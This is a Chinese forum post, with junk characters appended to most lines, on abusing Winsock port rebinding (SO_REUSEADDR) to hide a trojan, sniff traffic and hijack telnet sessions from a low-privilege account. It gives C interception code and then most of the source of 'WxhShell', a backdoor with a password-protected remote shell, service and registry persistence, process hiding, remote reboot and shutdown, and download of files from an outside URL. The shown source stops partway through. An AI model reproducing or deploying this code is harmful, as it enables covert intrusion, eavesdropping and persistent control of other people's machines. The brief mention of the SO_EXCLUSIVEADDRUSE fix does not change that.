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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *=UxX ] 0y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jSa9UD  
TS0x8,'$q  
  saddr.sin_family = AF_INET; 0].x8{~o  
(bEX"U-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sjh>i>t  
P(OgT/7A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a(}dF?M=  
vd>K=! J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |X&.+RI  
eeI aH >  
  这意味着什么?意味着可以进行如下的攻击: @j +8M  
!O=?n<Ex"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =@%;6`AVcp  
B&^WRM;7t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ke.{wh\0  
9[qEJ$--  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7U=|>)Q0s  
R Wa4O#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k2>gnk0  
Uh.XL=wY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +<p?i]3CHe  
-QH[gi{%`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dc#Db~v}k  
(hywT)#+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -[-LR }u  
|Ad1/>8i  
  #include piIr .]  
  #include 3Cq/ o'  
  #include Izrf42 >k  
  #include    8o' a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KP)BD;  
  int main() iUuG}rqj  
  { -$pS {q;  
  WORD wVersionRequested; k~|nU  
  DWORD ret; JQVu&S  
  WSADATA wsaData; _ED,DM  
  BOOL val; **\BP,]}  
  SOCKADDR_IN saddr; i!zh9,i>M  
  SOCKADDR_IN scaddr; At5:X*vD  
  int err; ZLA&<]Ad"$  
  SOCKET s; T';<;6J**  
  SOCKET sc; c*nH=  
  int caddsize; + -e8MvP  
  HANDLE mt; tPO\e]  
  DWORD tid;   1$,t:/'-4  
  wVersionRequested = MAKEWORD( 2, 2 ); 2u9^ )6/  
  err = WSAStartup( wVersionRequested, &wsaData ); gv=mz,z  
  if ( err != 0 ) { `Pj7O/!)#!  
  printf("error!WSAStartup failed!\n"); p%304oP6  
  return -1; 7?6?`no~JJ  
  } u7|{~D&f  
  saddr.sin_family = AF_INET; [BS3y`c  
   wv,,#P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (]'Q!MjGa  
]+\@_1<ZI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /BWJ)6#H  
  saddr.sin_port = htons(23); MWSx8R)PN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?f+w:FO  
  { G?-27Jk8  
  printf("error!socket failed!\n"); f_1#>]  
  return -1; oOk.Fq  
  } B`Q.<Lqu  
  val = TRUE; '8~cf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o l 67x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1jZ:@M :  
  { rI&GM |  
  printf("error!setsockopt failed!\n"); rl)(4ad=  
  return -1; 9GnNL I{  
  } 7e&R6j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Oq{&hH/'}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9IL#\:d1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4!lbwqo  
OwIW;8Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I`h9P2~  
  { )Q 8T`Tly  
  ret=GetLastError(); & -  
  printf("error!bind failed!\n"); db"FC3/H  
  return -1; (_ov _3  
  } R7us9qM4e  
  listen(s,2); v _Bu  
  while(1) k4_Fn61J/  
  { fk!wq. a  
  caddsize = sizeof(scaddr); 8VvoPlo  
  //接受连接请求 :oF\?e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yWIM,2x}  
  if(sc!=INVALID_SOCKET) $Aww5G5e  
  { z602(mxGg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JH2?^h|{  
  if(mt==NULL) c L*D_)?8  
  { ssW+'GD  
  printf("Thread Creat Failed!\n"); 6w K=  
  break; -tT{h 4  
  } Tgp}k%R~  
  } /vPh_1  
  CloseHandle(mt); rtDm<aUh  
  } p}.P^`~j  
  closesocket(s); IS7g{:}=p  
  WSACleanup(); DLE|ctzj[7  
  return 0; Kp"mV=RG2T  
  }   !@-j!Ub  
  DWORD WINAPI ClientThread(LPVOID lpParam) oaI7j=Gp  
  { 7\^b+*  
  SOCKET ss = (SOCKET)lpParam;  ,[ +  
  SOCKET sc; P0$q{ j  
  unsigned char buf[4096]; u;DF$   
  SOCKADDR_IN saddr; Y',s|M1})\  
  long num; UuxWP\~2  
  DWORD val; TQK>w'L  
  DWORD ret; 'DF3|A],  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !-r@_tn|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mLD0Lu_Ob3  
  saddr.sin_family = AF_INET; zsI0Q47\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T4T_32`XR  
  saddr.sin_port = htons(23); '9GHmtdO,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kgK7 T  
  { }jTEgog  
  printf("error!socket failed!\n"); Js qze'BGY  
  return -1; YP~d1BWvf  
  } -$;H_B+.  
  val = 100; C 0*k@kGy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6KhHS@Z  
  { 8E/$nRfO d  
  ret = GetLastError(); AEK* w4  
  return -1; [8Ub#<]]  
  } [w~teX0!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N;D (_:^  
  { OM]p"Jd  
  ret = GetLastError(); {AIP\  
  return -1; RrLQM!~  
  } 5<4njo?k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N!;Y;<Ro_  
  { E?z 3&C  
  printf("error!socket connect failed!\n"); HeGGAjc  
  closesocket(sc); xN2M| E]  
  closesocket(ss); -9-%_=6  
  return -1; ZcX%:ebKS  
  } FH M^x2  
  while(1) %kNkDI  
  { *%ZfE,bu8<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gyy:.]>&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8NeP7.U<w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 65ijzZL;  
  num = recv(ss,buf,4096,0); (T n*;Xjq  
  if(num>0) 9{i6g+  
  send(sc,buf,num,0); mMrvr9%  
  else if(num==0) J~ v<Z/gm  
  break; ]G&?e9OA  
  num = recv(sc,buf,4096,0); jb)z[!FbM  
  if(num>0) P>L-,R(7e  
  send(ss,buf,num,0); OdRXNk:k-j  
  else if(num==0) yhQo1e>  
  break; "rc}mq  
  } rf;R"Uc  
  closesocket(ss); VjYfnvE  
  closesocket(sc); 30FYq?  
  return 0 ; RNoS7[&  
  } ]S,I}NP  
\I#lLP  
UN| "D]>/  
========================================================== ]ZO^@sH  
!i_5Xc H  
下边附上一个代码,,WXhSHELL lhQ*;dMj%"  
2|EH Ny!  
========================================================== BAm H2"  
6$SsdT|8B  
#include "stdafx.h" D8`,PXtV  
'4HwS$mW3  
#include <stdio.h> U@D=.6\B  
#include <string.h> }'kk}2ej`  
#include <windows.h> ]|Vm!Q  
#include <winsock2.h> Fxv~;o#  
#include <winsvc.h> I" sKlMD  
#include <urlmon.h> jSVb5P  
.d8) *  
#pragma comment (lib, "Ws2_32.lib") g IX"W;  
#pragma comment (lib, "urlmon.lib") `ZV;Le '  
d^]wqnpf  
#define MAX_USER   100 // 最大客户端连接数 Ow/ /#:  
#define BUF_SOCK   200 // sock buffer '.WYs!  
#define KEY_BUFF   255 // 输入 buffer ?]kIztH  
}kL% l  
#define REBOOT     0   // 重启 q7 Uu 8JXF  
#define SHUTDOWN   1   // 关机 6gakopZO  
'y-IE#!5  
#define DEF_PORT   5000 // 监听端口 t47 f$gq  
34JkB+#a  
#define REG_LEN     16   // 注册表键长度 5?9}^s4  
#define SVC_LEN     80   // NT服务名长度 Vl^jTX5N  
5I T'u3V  
// 从dll定义API [p4a\Qg0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U@f3V8CPy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .RJvu$U2j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z RvYN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wf: AMxDm  
L$@RSKYp  
// wxhshell配置信息 J5J3%6I  
struct WSCFG { B+zq!+ HJ  
  int ws_port;         // 监听端口 * +A!12s@  
  char ws_passstr[REG_LEN]; // 口令 \FVR'A1  
  int ws_autoins;       // 安装标记, 1=yes 0=no =\X<UA}  
  char ws_regname[REG_LEN]; // 注册表键名 oH6(Lq'q  
  char ws_svcname[REG_LEN]; // 服务名 2U~oWg2P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lt,x(2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wZfR>|f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &lI.N~Ao  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vGm;en   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +/Y )s5@<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zb9d{e   
h3@mN\=h'  
}; n=rPFp RLF  
T^A:pL1  
// default Wxhshell configuration /"iYEr%_  
struct WSCFG wscfg={DEF_PORT, 6mRvuJ%  
    "xuhuanlingzhe", MlRgdVX  
    1, Mqw&%dz'_  
    "Wxhshell", Wt8;S$!=R  
    "Wxhshell", LfgR[!  
            "WxhShell Service", 2vj)3%:7#E  
    "Wrsky Windows CmdShell Service", Q.\+ XR_|  
    "Please Input Your Password: ", xu+wi>Y^  
  1, / d6mlQS  
  "http://www.wrsky.com/wxhshell.exe", i7 p#%2  
  "Wxhshell.exe" zac>tXU;  
    }; i9.5 2  
Pq7YJ"Z?:  
// 消息定义模块 LgUaX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !\|&E>Gy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XHpoaHyx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fzu"&&>0$  
char *msg_ws_ext="\n\rExit."; [gv2fqpP  
char *msg_ws_end="\n\rQuit."; JvHJ*E   
char *msg_ws_boot="\n\rReboot..."; >b{%j8u M  
char *msg_ws_poff="\n\rShutdown..."; 0dIJgKanGP  
char *msg_ws_down="\n\rSave to "; |&RdOjw$u  
1q\U (^  
char *msg_ws_err="\n\rErr!"; m?<C\&)6x  
char *msg_ws_ok="\n\rOK!"; t~U:{g~  
NO* 1km[#  
char ExeFile[MAX_PATH]; >xP $A{  
int nUser = 0; EO'3;mo,  
HANDLE handles[MAX_USER]; xZ,g6s2o  
int OsIsNt; P?TFX.p7  
Hk6Dwe[y  
SERVICE_STATUS       serviceStatus; GueqpEd2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I"@5=m5  
IK %j+UB  
// 函数声明 H%faRUonz  
int Install(void); .4KXe"~E  
int Uninstall(void); ~=0zZTG  
int DownloadFile(char *sURL, SOCKET wsh); t}'Oh}CG  
int Boot(int flag); [%QJ6  
void HideProc(void); ;! CQFJ=  
int GetOsVer(void); kk!}mbA_}  
int Wxhshell(SOCKET wsl); 2^qY, dL  
void TalkWithClient(void *cs); u :m]-'  
int CmdShell(SOCKET sock); Q3oVl^q  
int StartFromService(void); G e~&Ble  
int StartWxhshell(LPSTR lpCmdLine); 1L &_3}  
!Rsx)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )*s.AFu]7x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vNJ!i\bX  
6"A|)fz  
// 数据结构和表定义 SrHRpxy  
SERVICE_TABLE_ENTRY DispatchTable[] = W"wP%  
{ :Z=A,G  
{wscfg.ws_svcname, NTServiceMain}, EzG7RjW  
{NULL, NULL} IL>Gi`Y&  
}; {SROg;vA  
~@sx}u  
// 自我安装 +Do7rl  
int Install(void) ze#LX4b I  
{ z ^a,7}4  
  char svExeFile[MAX_PATH]; Y%wF;I1x  
  HKEY key; Uyi_B.:`  
  strcpy(svExeFile,ExeFile); =cRJtn  
M:C*?;K:  
// 如果是win9x系统,修改注册表设为自启动 KZDB\T  
if(!OsIsNt) { TR: D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -4hX -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &1B)mj  
  RegCloseKey(key); .6.oqb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :5"|iRP'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5RlJybN"o  
  RegCloseKey(key); I{1w8m4O6  
  return 0; g~Q#U;]  
    } pu`|HaQaE  
  } O[`n{Vl/  
} y f+/Kj< a  
else { _Thc\{aV#  
6o,, w^  
// 如果是NT以上系统,安装为系统服务 ^(&:=r.PC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o.k#|q  
if (schSCManager!=0) g<{~f  
{ lWOB!l  
  SC_HANDLE schService = CreateService M}@^8  
  ( ;J?!D x  
  schSCManager, Lb/a _8<E?  
  wscfg.ws_svcname, W:0@m^r  
  wscfg.ws_svcdisp, Txw,B2e)>  
  SERVICE_ALL_ACCESS, M{z+=c&w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *M KVm)Iv  
  SERVICE_AUTO_START, YR[Ii?  
  SERVICE_ERROR_NORMAL, ,L_p"A  
  svExeFile, 6=  9  
  NULL, JQbI^ef_;  
  NULL, p]pFZ";70  
  NULL, m0\(a_0V  
  NULL, >:wk.<Z-  
  NULL 9`c :sop  
  ); ^. Pn)J  
  if (schService!=0) m'429E]\S  
  { k,q` ^E8k  
  CloseServiceHandle(schService); zHu:Ec7  
  CloseServiceHandle(schSCManager); WddU|-W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?f&*mp  
  strcat(svExeFile,wscfg.ws_svcname); KE(kR>OB]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7dU X(D,?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B`KpaE]  
  RegCloseKey(key); 8qBw;A)  
  return 0; "pHQ  
    } rtUd L,Hx  
  } t$UFR7XE  
  CloseServiceHandle(schSCManager); zHx?-Q&3  
} Bpqq-_@  
} xp,H5 m%  
j[Et+V?  
return 1; 1uD}V7_y"  
} 6|9];)  
iOD9lR`s  
// 自我卸载 wePMBL1P*  
int Uninstall(void) w|$;$a7)  
{ +  ^~n09  
  HKEY key; iAXx`>}m  
A 7TP1  
if(!OsIsNt) { 3HfT9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2@A7i<p  
  RegDeleteValue(key,wscfg.ws_regname); ;N4mR6  
  RegCloseKey(key); s!UC{)g,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dn5T7a~   
  RegDeleteValue(key,wscfg.ws_regname); 9Uk9TG5  
  RegCloseKey(key); /=-E`%R}!  
  return 0; I:Z38xz-[  
  } &os* @0h4  
} ]n!pn#Q  
} `d8$OC  
else { &, K;F'  
]Q)TqwYF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Cm4a49FNi  
if (schSCManager!=0) L- =^GNh  
{ LTJ|EXYA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l?#([(WM  
  if (schService!=0) 9$Hgh7'hvs  
  { ^TB%| yZ _  
  if(DeleteService(schService)!=0) { 9]kWM]B)o  
  CloseServiceHandle(schService); )DoY*'Cl  
  CloseServiceHandle(schSCManager); /j.V0%  
  return 0; ?{^T&<18t  
  } ."=Bx2  
  CloseServiceHandle(schService); BfhOe~+i  
  } 1FY^_dvH  
  CloseServiceHandle(schSCManager); tp0^%!*9  
} qKWkgackP  
} {zg}KiNDZd  
;,9|;)U?u  
return 1; 0WYVt"|;}c  
} 6idYz"P %  
NEK;'"  ~  
// 从指定url下载文件 v|n.AGn  
int DownloadFile(char *sURL, SOCKET wsh) Zb}=?fcL;@  
{ ~omX(kPzK  
  HRESULT hr; ^yBx.GrQc  
char seps[]= "/"; D4 e)v%  
char *token; LeO5BmwHR  
char *file; Q@l3XNH|c  
char myURL[MAX_PATH]; ^>]p4Q3 6  
char myFILE[MAX_PATH]; bD49$N?>  
u6|7P<HUfb  
strcpy(myURL,sURL); =(@J+Ou  
  token=strtok(myURL,seps); f$/Daq <M  
  while(token!=NULL) < v0 d8  
  { :a`l_RMU  
    file=token; YMm Fpy  
  token=strtok(NULL,seps); =FdS'<GM  
  } Dwwh;B  
;i Ud3 '*  
GetCurrentDirectory(MAX_PATH,myFILE); T#h`BtET[  
strcat(myFILE, "\\"); "9R3S[  
strcat(myFILE, file); tohYwXN  
  send(wsh,myFILE,strlen(myFILE),0); QDSB <0j  
send(wsh,"...",3,0); 2uqdx'^"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~EdmVEu  
  if(hr==S_OK)  +/AW6  
return 0; +}*]9nG  
else 6``!DMDt/P  
return 1; YZ'gd10T  
P^.L0T5g  
} G?YKm1:w   
lgre@M]mg  
// 系统电源模块 ~0ZP%1.B3  
int Boot(int flag) 6i>xCb  
{ wYS4#7  
  HANDLE hToken; {wCQ#V  
  TOKEN_PRIVILEGES tkp; ;Wb W\,P'  
t[0gN:s  
  if(OsIsNt) { =y ^N '1q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cojuU=i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]LNP"vi;  
    tkp.PrivilegeCount = 1; z) Bc91A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =[vT=sHz7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q- j+#NGc  
if(flag==REBOOT) { -,}f6*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +ZXk0sP_<  
  return 0; VxaJ[s3PQ&  
} .pG_j]  
else { 2sWM(SN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7pr@aA"vgj  
  return 0; +d Ig&}Tr  
} lts{<AU~  
  } J Wof<D,  
  else { >5)$Qtz#  
if(flag==REBOOT) { CCQ<.iCU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I?5#Q0,b  
  return 0; X[|-F3o  
} eX $u  
else { M0n@?S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 265df Y9Pu  
  return 0; m!w(Q+*j  
} JAc-5e4  
} ;R|5sCb/m  
o3j4XrK  
return 1; -:>Mi5/ s  
} *7DQ#bD  
0FHN  
// win9x进程隐藏模块 .gx*gX1<  
void HideProc(void) p \F*Y,4  
{ :/d#U:I  
-bcm"(<T'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >*k3D&  
  if ( hKernel != NULL ) } n_9d.  
  { ~#7=gI&p@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #t po@pJsE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VbJGyjx  
    FreeLibrary(hKernel); s$|GVv1B  
  } F0]NtKaH  
Y|>y]x  
return; #.#T+B+9  
} sDw&U?gUv  
/oE@F178  
// 获取操作系统版本 \_CC6J0k  
int GetOsVer(void) [y64%|m  
{ d#Ql>PrY  
  OSVERSIONINFO winfo; ,7z.%g3+z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bp;b;f>  
  GetVersionEx(&winfo); eBBqF!WDb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mp>,TOi~s7  
  return 1; qAHQZKk  
  else 3|l+&LF!IC  
  return 0; T" XZ[q  
} -7$7TD`'7  
`a98+x?JF  
// 客户端句柄模块 7_ZfV? .  
int Wxhshell(SOCKET wsl)  b-yfBO  
{ wHAoO#`wn5  
  SOCKET wsh; .G4(Ryh  
  struct sockaddr_in client; ~bg?V0  
  DWORD myID; 5fDVJE "9"  
7S(5\9  
  while(nUser<MAX_USER) gb( a`  
{ 9}:%CpD^~I  
  int nSize=sizeof(client); +*mi%)I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N>xs@_"o  
  if(wsh==INVALID_SOCKET) return 1; |ILj}4ZA7  
$wub)^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nu<M~/  
if(handles[nUser]==0) r` HtN{6r  
  closesocket(wsh); ezgP\ct  
else ][I}yOD70  
  nUser++; G;>b}\Ng  
  } 9jCn|+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d[6[3B  
w0q.cj@nd  
  return 0; _>S."cm}!k  
} pmv;M`_|R  
iQ~;to;Y  
// 关闭 socket T:q!>"5  
void CloseIt(SOCKET wsh) tF+m/}PM^  
{ 294 0M4  
closesocket(wsh); QcU&G*   
nUser--; dpxP  
ExitThread(0); !Z 3iu  
} DwMq  
{D={>0  
// 客户端请求句柄 [daUtKz  
void TalkWithClient(void *cs) [>U'P1@ql  
{ pIXbr($  
 ") q  
  SOCKET wsh=(SOCKET)cs; LK-2e$1  
  char pwd[SVC_LEN]; )Gi!wm>zvN  
  char cmd[KEY_BUFF]; 2g$PEwXe  
char chr[1]; >;-.rJFr  
int i,j; x_GD  
A9`& Wnw?  
  while (nUser < MAX_USER) { 2"cUBFc1I  
@!1o +x  
if(wscfg.ws_passstr) { PJ5~,4H-4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Z{6j&;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S%uwQ!=O8  
  //ZeroMemory(pwd,KEY_BUFF); *9Ej fs7L  
      i=0; ]+@@{?0  
  while(i<SVC_LEN) { Bvk 8b  
s{#rCc)  
  // 设置超时 P+tRxpz  
  fd_set FdRead; 8eCC =Az:  
  struct timeval TimeOut; JPJ&k( P  
  FD_ZERO(&FdRead); IH(]RHTp%  
  FD_SET(wsh,&FdRead); 4^/MDM@  
  TimeOut.tv_sec=8; F%Oy4*4  
  TimeOut.tv_usec=0; yr8 b?m.x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &66-0d+Sh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !YYI{BJ7:N  
pN|BtrN{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =4+Wx8ZeW  
  pwd=chr[0]; :08b&myx  
  if(chr[0]==0xd || chr[0]==0xa) { l|TiUjs  
  pwd=0; D"UCe7  
  break; [CTE"@A  
  } 2#%@j6  
  i++; W@Et  
    } t@m!k+0  
OMgFp|^  
  // 如果是非法用户,关闭 socket 0&XdCoIe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]Dcb*t  
} {"k}C2K'r  
*m)+|v}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L?:.8k`d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1- Jd Qs6  
^Y[.-MJt+  
while(1) { qtlXDgppO  
`>'%!E9G  
  ZeroMemory(cmd,KEY_BUFF); : E`/z@I  
4}-{sS}MP  
      // 自动支持客户端 telnet标准   +||y/}1  
  j=0; xDJ@MW#  
  while(j<KEY_BUFF) { Vcjmj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r I)Y W0  
  cmd[j]=chr[0]; E "9`  
  if(chr[0]==0xa || chr[0]==0xd) { t*J *?Ma  
  cmd[j]=0; XLQt>y)  
  break; Fq>tl 64A  
  } $o}Ao@WkO  
  j++; <Cv 6wC=  
    } .Y`;{)  
R2K{vs  
  // 下载文件 B'[FnJ8~  
  if(strstr(cmd,"http://")) { 5A Fy6Ab  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,, S]_S  
  if(DownloadFile(cmd,wsh)) ^phgNzD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qrdA4S  
  else m ^?a/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *DBm"{q%&k  
  } F{,<6/ayRz  
  else { E^'f'\m  
e"g=A=S  
    switch(cmd[0]) { b~oQhU??"  
   ZDn5d%  
  // 帮助 ^/c v8M=  
  case '?': { 0o-. m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u_31Db<  
    break; oJ4OVfknD  
  } +hiskV@v  
  // 安装 L?h'^*F H}  
  case 'i': { }(MI}o}  
    if(Install()) qK=uSL o\+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nev@ykP6  
    else {"e)Jj_=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V7~tIhuJH  
    break; =o_Ua^mr  
    } ;YGCsLT<xt  
  // 卸载 ^\"@r%|  
  case 'r': { ,/%@:Fh4  
    if(Uninstall()) NAg9EaWja{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HgY [Q}7s  
    else 8_*31Y   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [T}Lq~  
    break; *h([ai"1-  
    } 9Ub##5$[,  
  // 显示 wxhshell 所在路径 fGtYvl O-5  
  case 'p': { &AUtUp kOo  
    char svExeFile[MAX_PATH]; M0) q  
    strcpy(svExeFile,"\n\r"); Po B-:G6  
      strcat(svExeFile,ExeFile); h;C/} s  
        send(wsh,svExeFile,strlen(svExeFile),0); Z.QgL=  
    break; r3;@  
    } :o"9x,  
  // 重启 mZG)#gW[  
  case 'b': { qp##>c31X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7oWT6Qa5  
    if(Boot(REBOOT)) #S4lRVt5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sV']p#HK0  
    else { (8Ptuh6\\2  
    closesocket(wsh); IoAG!cS  
    ExitThread(0); /8Wfs5N  
    } u2 a#qU5*  
    break; `W=3_  
    } 6< hE]B)  
  // 关机 5 *R{N ~>  
